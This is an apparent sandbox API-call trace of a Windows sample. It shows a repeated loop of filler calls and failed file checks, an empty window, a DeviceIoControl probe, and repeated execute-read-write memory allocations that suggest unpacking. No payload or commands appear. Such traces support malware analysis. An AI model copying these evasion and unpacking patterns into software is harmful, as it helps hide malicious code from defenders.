[0223.125] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.125] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.125] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.125] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.125] CloseHandle (hObject=0x0) returned 0 [0223.125] CloseHandle (hObject=0xffffffff) returned 1 [0223.126] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.126] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.126] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.126] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.126] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.126] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.126] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.126] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.126] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.126] CloseHandle (hObject=0x0) returned 0 [0223.126] CloseHandle (hObject=0xffffffff) returned 1 [0223.126] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.126] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.126] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.126] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.126] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.126] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.126] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.126] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.127] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.127] CloseHandle (hObject=0x0) returned 0 [0223.127] CloseHandle (hObject=0xffffffff) returned 1 [0223.127] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.127] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.127] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.127] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.127] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.127] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.127] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.127] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.127] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.127] CloseHandle (hObject=0x0) returned 0 [0223.127] CloseHandle (hObject=0xffffffff) returned 1 [0223.127] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.127] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.127] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.127] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.127] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.127] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.128] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.128] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.128] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.128] CloseHandle (hObject=0x0) returned 0 [0223.128] CloseHandle (hObject=0xffffffff) returned 1 [0223.128] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.128] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.128] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.128] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.128] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.128] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.128] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.128] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.128] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.128] CloseHandle (hObject=0x0) returned 0 [0223.128] CloseHandle (hObject=0xffffffff) returned 1 [0223.128] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.128] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.128] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.128] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.128] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.129] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.129] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.129] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.129] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.129] CloseHandle (hObject=0x0) returned 0 [0223.129] CloseHandle (hObject=0xffffffff) returned 1 [0223.129] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.129] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.129] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.129] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.129] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.129] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.129] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.129] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.129] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.129] CloseHandle (hObject=0x0) returned 0 [0223.129] CloseHandle (hObject=0xffffffff) returned 1 [0223.129] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.129] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.130] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.130] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.130] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.130] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.130] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.130] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.130] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.130] CloseHandle (hObject=0x0) returned 0 [0223.130] CloseHandle (hObject=0xffffffff) returned 1 [0223.130] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.130] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.130] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.130] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.130] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.130] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.130] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.130] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.130] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.130] CloseHandle (hObject=0x0) returned 0 [0223.130] CloseHandle (hObject=0xffffffff) returned 1 [0223.130] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.131] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.131] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.131] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.131] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.131] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.131] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.131] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.131] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.131] CloseHandle (hObject=0x0) returned 0 [0223.131] CloseHandle (hObject=0xffffffff) returned 1 [0223.131] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.131] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.131] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.131] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.132] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.132] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.132] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.132] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.132] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.132] CloseHandle (hObject=0x0) returned 0 [0223.132] CloseHandle (hObject=0xffffffff) returned 1 [0223.132] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.132] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.132] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.132] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.132] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.132] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.132] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.132] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.132] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.132] CloseHandle (hObject=0x0) returned 0 [0223.132] CloseHandle (hObject=0xffffffff) returned 1 [0223.132] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.133] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.133] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.133] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.133] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.133] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.133] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.133] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.133] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.133] CloseHandle (hObject=0x0) returned 0 [0223.133] CloseHandle (hObject=0xffffffff) returned 1 [0223.133] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.133] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.133] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.133] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.133] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.133] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.133] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.133] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.133] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.133] CloseHandle (hObject=0x0) returned 0 [0223.133] CloseHandle (hObject=0xffffffff) returned 1 [0223.134] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.134] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.134] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.134] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.134] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.134] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.134] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.134] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.134] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.134] CloseHandle (hObject=0x0) returned 0 [0223.134] CloseHandle (hObject=0xffffffff) returned 1 [0223.134] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.234] CreatePen (iStyle=0, cWidth=1, color=0xb99d7f) returned 0xffffffff8730071b [0223.234] CreateWindowExA (dwExStyle=0x0, lpClassName="SysTreeView32", lpWindowName="", dwStyle=0x50000307, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x0) returned 0x0 [0223.234] lstrlenA (lpString="") returned 0 [0223.234] SendMessageA (hWnd=0x0, Msg=0x1100, wParam=0x0, lParam=0x19f4e0) returned 0x0 [0223.234] CreateFileA (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.234] DeviceIoControl (in: hDevice=0xffffffff, dwIoControlCode=0x900c0, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x19f4e0, nOutBufferSize=0x40, lpBytesReturned=0x19f428, lpOverlapped=0x0 | out: lpOutBuffer=0x19f4e0, lpBytesReturned=0x19f428, lpOverlapped=0x0) returned 0 [0223.234] StringFromGUID2 (in: rguid=0x19f4c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lpsz=0x19f530, cchMax=39 | out: lpsz="{00000000-0000-0000-0000-000000000000}") returned 39 [0223.234] EnumSystemGeoID (GeoClass=0x10, ParentGeoId=0x0, lpGeoEnumProc=0x680000) [0223.235] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0223.236] GetModuleHandleA (lpModuleName="advapi32") returned 0x761b0000 [0223.306] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0223.453] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0223.458] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0223.699] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0223.703] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0223.818] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0223.823] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0223.930] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0223.934] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0224.118] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0224.348] 